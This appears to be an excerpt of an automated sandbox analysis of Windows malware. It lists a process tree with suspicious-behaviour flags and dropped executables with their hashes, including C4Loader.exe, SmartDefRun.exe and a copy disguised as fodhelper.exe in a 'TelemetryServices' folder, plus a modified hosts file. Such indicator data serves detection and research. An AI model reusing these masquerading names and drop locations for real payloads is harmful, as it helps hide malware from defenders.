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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2456
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2404
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2196
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2176
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1844
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2024
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2012
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1944
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:2160 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 208 -p 4388 -ip 43882⤵PID:3232
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4740 -ip 47402⤵PID:2064
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 528 -p 3296 -ip 32962⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:872
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 536 -p 4404 -ip 44042⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2280
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 600 -p 4176 -ip 41762⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2636
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4348
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:3660
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4176
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4176 -s 7642⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:1648
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER6B60.tmp.csv
- Size 37KB
- SHA256 0f2a00ebc9889cc3413fb6aa494596a4ab057c14c1564312d4c648e0bbb812ff
- MD5 4721cbca24c87250b3944accc437eb97
- SHA1 f32cf5f609556421a992e0bedd9548036e288a1d
- SHA512 02149a936ad5120aec10a7968278cdc12b94ae5c6d92770aadb8c8692dee6f2d173261ec7bcaff61a3f8c4fa543b16c905c605abc093c0e479e54a56b26dc247
- SSDEEP 768:wJIxTUMK+4YKiDfcn9neM+splwbUeSs2bUU2:wJIxTUMK+BDfcn9r+sAUeSs2bUU2
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER6BA0.tmp.txt
- Size 13KB
- SHA256 9f7a8ce36c6d23057adfa70c155bdffa68ad268f1eb6ea02edf6fa1f7e490950
- MD5 c065d8503fbf7e316011d55c0d015348
- SHA1 704b2e782fa65f7377b5a788a9eadf27c94a6a2e
- SHA512 dd19809b425d5ee2b3adc8631700dcc8bd16f9afc81fb4cbea376e93d5a3505f64dc3cd6021873ff68446f69645a7df143235f4238278334b9689baa3cc0a694
- SSDEEP 96:4ie1gSxaaQu1YA3YNWQHbYEZHNtAiuFQcifw/U8xaOSKIM7OX0IDEO3:Ne1gy932lCpaOSKIM7OXjDl3
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER6DF2.tmp.csv
- Size 36KB
- SHA256 cf18987900bb26f96bda56f5fc206376185e517cb9567f81dac59a54e5d82a0d
- MD5 d398d5338de7566fdca66bb2441e9aeb
- SHA1 e20a5d004e9331f31e7668dd7b8ebac8c7faf4e8
- SHA512 c345f8d47e4bce1457416cf7a5f7750fc4454004d8e88e5b9550e4bd06860ba547c6470d84f30b74d1aca08843963cf8ab730b8a5d9d674cf6b93deb9fecb639
- SSDEEP 768:NxzzqKM7VVIfxscnk5epqplwbUsM/sbkA+Y:NxzzqKM7VOscnk4qAUsM/sbku
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER6E22.tmp.txt
- Size 13KB
- SHA256 9b3bf137c27a033065c2726b1807e1b32c321e20a3e120ff0a0a2e48998960c7
- MD5 529a675da75c1f7d81343c2020684783
- SHA1 26de251b968cdcc5d8e08d0b531d241e39a90298
- SHA512 857bb2a021c01789b1f1ff91b4477538f6be10d40bae7a207e8ff71acc0f378c4a21fbc4d1b18a06c4b6f26416b18d0c8fd22fb628bb0702db747fcd08f67113
- SSDEEP 96:4ie1uLaRCaJSMYjYdWoJH0YEZQ+StAinFrcsw/D5aXKTMOPOX0IvEO3:Ne1uAP0W+7VaXKTMQOXjvl3
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER9F12.tmp.csv
- Size 34KB
- SHA256 46292d1e694ef00a34b71c1a2c98c4be7187dbe918526e19059fb26fcd19f711
- MD5 a22051766461e1324ec39fb47eeb0731
- SHA1 003f3758786347bf06cce6e524299c08e35b4f6c
- SHA512 00fca845181746b08748f71bebd9e5a01f19b38626d3f2cd9770c010770b04dcd720398df7e9dd654b1b06b03e4b06a8ae67d05d74dcdd197cb2867b0450bbae
- SSDEEP 384:hQ+oGL1jPXaHi9ahhqUClwKdnF128Ee5lw8BBO7ZyweDsp7LPLgpg2WYXjnNu4ex:YWWCyKxseY5srWYznHene13KDntv8wYm
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER9F51.tmp.txt
- Size 13KB
- SHA256 af2829b041bc320621bb1904cba829361f540cbad89c553c585e291757cc43a8
- MD5 0bb1f74b459afc5a8b16fb9807694519
- SHA1 0492ddc7fd8aef3b13991f4ab0935a85665c80c4
- SHA512 b84378b734cac8dc3c8f656d1143d1300420138a7a2b17a40c0743d39d4a991cc6e1c5248d2a42e885484017621c9ec90f1b310d28d3ead8b4f2c4168da762b3
- SSDEEP 96:4ie1AkerHL+YhYBWMHZrYEZEmtAivFS+iwW26a3QMMugXwID23:Ne1AE2g2tda3QMMugXHD23
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 19KB
- SHA256 ac798040009bed3f1d95199d7143f240651f29d2601f08df1f0be31269b3f851
- MD5 f97ba74abbc511a83d1a946505a10b5b
- SHA1 8b8e0cd9da276dfa4dd5562a6d12688a8ef14588
- SHA512 c4478b33af98fec79fbe1e572db9cd50b26a404aceaeff93d653739fe12997b658b7699d67ab85d93ff5b2ed36ce8724f42e4584de5b8ed70f4cce8399a24a8d
- SSDEEP 384:Asf++8T9i+b7gBiimMnabkMfK6seY+p7/PNA3So3A4X3l7FazCvrQ0gcZhQKhQ:tfgr7DHyaIMfNxtYSiF7IzCnnLo
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 948B
- SHA256 5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
- MD5 a7ce8cefc3f798abe5abd683d0ef26dd
- SHA1 b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
- SHA512 c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
- Size 1.4MB
- SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
- MD5 bb86a343080f9f4696c250ef31a18d9d
- SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
- SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
- SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
- Size 1.4MB
- SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
- MD5 bb86a343080f9f4696c250ef31a18d9d
- SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
- SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
- SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
- Size 3.7MB
- SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
- MD5 f5c51e7760315ad0f0238d268c03c60e
- SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
- SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
- SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
- Size 3.7MB
- SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
- MD5 f5c51e7760315ad0f0238d268c03c60e
- SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
- SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
- SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
- Size 1.4MB
- SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
- MD5 b6bbab9f72c88d07b484cc339c475e75
- SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
- SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
- SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
- Size 1.4MB
- SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
- MD5 b6bbab9f72c88d07b484cc339c475e75
- SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
- SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
- SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\new2.exe
- Size 477KB
- SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
- MD5 3753f9966e5b4fdc87184c1749f2bd25
- SHA1 69b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
- SHA512 3283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6
- SSDEEP 12288:2QqCqj3EW3vMF42dmGB5y+4hnXOSXx2mbZhoRBK:2QqCqj3EWfMF42dUhnXnQYzmBK
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\new2.exe
- Size 477KB
- SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
- MD5 3753f9966e5b4fdc87184c1749f2bd25
- SHA1 69b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
- SHA512 3283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6
- SSDEEP 12288:2QqCqj3EW3vMF42dmGB5y+4hnXOSXx2mbZhoRBK:2QqCqj3EWfMF42dUhnXnQYzmBK
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
- Size 1.4MB
- SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
- MD5 b6bbab9f72c88d07b484cc339c475e75
- SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
- SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
- SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
- Size 1.4MB
- SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
- MD5 b6bbab9f72c88d07b484cc339c475e75
- SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
- SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
- SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\system32\drivers\etc\hosts
- Size 2KB
- SHA256 de574c85b289f23bba4b932a4c48397c4c61904cb6df086726dd7f8049624c3a
- MD5 4ac8a26e2cee1347880edccb47ab30ea
- SHA1 a629f6d453014c9dccb98987e1f4b0a3d4bdd460
- SHA512 fc2af80b2e84ae114ae06144b9ec41eed50250e20f18db3d114ac8d2c59ebbfcd440f59d12f173ea6a94bcf394b0cecee9e120265112b7043bf9e2bd636d6a8a
- MD5 SHA1 SHA512